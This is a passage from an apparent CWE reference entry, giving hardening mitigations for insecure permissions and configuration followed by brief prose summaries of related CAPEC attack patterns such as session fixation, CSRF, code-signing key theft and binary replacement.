- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.
Mitigation
For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.
Mitigation
Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.
Mitigation
Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.
Mitigation MIT-37
Strategy: Environment Hardening
Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-206: Signing Malicious Code
The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.
CAPEC-234: Hijacking a privileged process
An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-61: Session Fixation
The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
CAPEC-642: Replace Binaries
Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.